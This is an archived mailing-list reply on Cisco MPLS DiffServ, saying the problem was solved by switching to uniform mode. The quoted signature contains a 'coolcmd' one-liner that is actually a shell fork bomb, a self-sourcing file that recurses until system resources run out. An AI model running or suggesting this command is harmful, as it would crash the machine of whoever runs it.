We resolved this problem
when we changed MPLS DiffServ mode from Short Pipe to Uniform mode
It will work if we will apply next command in global configuration mode
#mls mpls qos input uniform-mode
Thomas Habets пишет:
> On Thu, 26 Nov 2009, selamat pagi wrote:
>> When you did your first test, CE-PE1-P-PE2 where there still vrf's
>> configured. That would explain why you did not see DSCP-values, you
>> would
>> have seen EXP-values. You still would have 1 label (vpn-label).
>
> No, I had multiple P routers in a row where I matched on EXP and saw
> this. And I think this was also an issue outgoing from the egress PE
> when there is no label (only DSCP) and I matched on DSCP.
>
> Really, the show-policy-map-interface counters don't work unless you
> set something in the matching class on 6500/7600.
>
> Yes. Really.
>
>> To prove this, could you change your policy to match EXP 4 instead of
>> DSCP
>> 39 ?
>
> That's what I did. Since as you say, only the outer label is popped by
> PHP.
>
> Like I said: sniff the traffic if you think things aren't being tagged.
> They may well be tagged properly. Also you can try traceroute through
> the network with a traceroute that understands EXP in the TTL expired
> messages (where the traceroute probes ought to be tagged). Doesn't
> work all that well if you have no-propagate-ttl though.
>
> ---------
> typedef struct me_s {
> char name[] = { "Thomas Habets" };
> char email[] = { "[email protected]" };
> char kernel[] = { "Linux" };
> char *pgpKey[] = { "http://www.habets.pp.se/pubkey.txt"; };
> char pgp[] = { "A8A3 D1DD 4AE0 8467 7FDE 0945 286A E90A AD48 E854" };
> char coolcmd[] = { "echo '. ./_&. ./_'>_;. ./_" };
> } me_t;
>
>
_______________________________________________
cisco-nsp mailing list [email protected]
https://puck.nether.net/mailman/listinfo/cisco-nsp
archive at http://puck.nether.net/pipermail/cisco-nsp/
